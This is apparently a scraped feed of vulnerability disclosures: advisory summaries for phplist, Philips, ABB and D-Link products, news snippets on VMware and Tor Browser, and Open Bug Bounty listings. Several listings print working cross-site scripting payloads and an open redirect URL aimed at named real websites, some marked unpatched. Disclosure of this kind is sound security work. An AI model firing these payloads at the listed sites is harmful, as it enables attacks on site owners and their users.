PT-2021-10858 · Phplist · Phplist

Name of the Vulnerable Software and Affected Versions: phplist version 3.5.3 Description: A stored cross site scripting XSS issue allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the Send test field under the Start or continue campaign module...

Critical VMware Zero-Day Bug Allows Command Injection; Patch Pending

The U.S. Cybersecurity and Infrastructure Security Agency is warning of a zero-day bug affecting six VMware products including its Workspace One, Identity Manager and vRealize Suite Lifecycle Manager. The critical unpatched bug is a command injection vulnerability. In a separate VMware advisory,...

PT-2020-14817 · Philips · Patient Information Center Ix

Name of the Vulnerable Software and Affected Versions: Patient Information Center iX PICiX versions B.02, C.02, C.03 Description: The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is then used as a webpage and served to other...

PT-2020-14821 · Philips · Patient Information Center Ix +1

Name of the Vulnerable Software and Affected Versions: Patient Information Center iX PICiX versions B.02, C.02, C.03 PerformanceBridge Focal Point version A.01 Description: The software does not properly verify the identity of an actor, allowing the claim to be insufficiently proven...

servizionline.comune.preganziol.tv.it Cross Site Scripting vulnerability

Open Bug Bounty ID: OBB-1151773 Security Researcher Gh05tPT Helped patch 6892 vulnerabilities Received 10 Coordinated Disclosure badges Received 48 recommendations , a holder of 10 badges for responsible and coordinated disclosure, found a security vulnerability affecting...

books.gpl.org Open Redirect vulnerability

Open Bug Bounty ID: OBB-1136526 Security Researcher keritzy Helped patch 2026 vulnerabilities Received 5 Coordinated Disclosure badges Received 4 recommendations , a holder of 5 badges for responsible and coordinated disclosure, found a security vulnerability affecting books.gpl.org website and i...

PT-2020-6881 · Abb · Abb Esoms

Name of the Vulnerable Software and Affected Versions: ABB eSOMS versions 4.0 to 6.0.3 Description: The issue is related to errors in processing requests, which can allow a remote attacker to disclose protected information. Specifically, HTTPS responses contain comments with sensitive information...

Tor Browser 8.5.2 Released — Update to Fix Critical Firefox Vulnerability

Important Update 21 June 2019 ➤ The Tor Project on Friday released second update Tor Browser 8.5.3 for its privacy web-browser that patches the another Firefox zero-day vulnerability patched this week. Following the latest critical update for Firefox, the Tor Project today released an updated...

PT-2019-6346 · D Link · D-Link Dir-878

Name of the Vulnerable Software and Affected Versions: D-Link DIR-878 version 1.12B01 Description: An issue was discovered that allows an attacker to log in with a blank password at the /HNAP1 URI. The vulnerability is related to weaknesses in the HNAP1 protocol implementation, specifically in th...

oficinas.ucalli.com XSS vulnerability

Vulnerable URL: http://oficinas.ucalli.com/es/%22+%3E%3C%252Fsvg%3E%3C%252F|%3E%3Csvg%252Fonload=prompt2%3E/7/0-0-g-p-0/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...

agedcarereviews.com.au XSS vulnerability

Vulnerable URL: http://agedcarereviews.com.au/searchresult.php?sort=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1567522...

compufirst.com XSS vulnerability

Vulnerable URL: http://www.compufirst.com/search/search.do?query=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=42512=true=true=0\n Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

torrco.com XSS vulnerability

Vulnerable URL:...

michaelnaik.com XSS vulnerability

Vulnerable URL: http://www.michaelnaik.com/advanced-search.php?formtype=uiadvanced=sales=1type=0searchtype=0type=0location=%27%22%3E%3Csvg%2Fonload%3Dconfirm%28%2FOPENBUGBOUNTY%2F%29%3Edateadded=0minbed=0minprice=0maxprice=0maxrent=0rentperiod=0go=Search Details: Description| Value ---|---...

web1.webmail.co.za XSS vulnerability

Vulnerable URL: http://web1.webmail.co.za/lostpassword.php?email=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 20169 VIP website status:| Ye...

d-grossmann.de XSS vulnerability

Vulnerable URL: http://www.d-grossmann.de/photo/img.php?s=2015-india=%22%3E%3CimG/sRc=l%20oNerrOr=prompt/OPENBUGBOUNTY/%20x%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

longislandmarthomachurch.org XSS vulnerability

Vulnerable URL: http://longislandmarthomachurch.org/index.php?article=photogallery=Photo Gallery?start=13'"64f=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6868969 VIP website...

skoleni-kurzy-educity.cz Open Redirect vulnerability

Vulnerable URL: http://www.skoleni-kurzy-educity.cz/promotion/adclick.php?bannerid=1803=1==https://openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 797688...

travelonlyvacations.ca XSS vulnerability

Vulnerable URL: http://www.travelonlyvacations.ca/viewer.php?p=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

login.efun.com XSS vulnerability

Vulnerable URL: https://login.efun.com/pcLoginchangePwd.shtml?jsoncallback=jQuery181028144064539414341507548429364kmuy9%3Cscript%3Ealert/openbugbounty/%3C%2fscript%3Eh367f=enUS=null=xxxxxxxxxxxxxx=123456=true&=1507548900422 Details: Description| Value ---|--- Patched:| No Latest check for patch:|...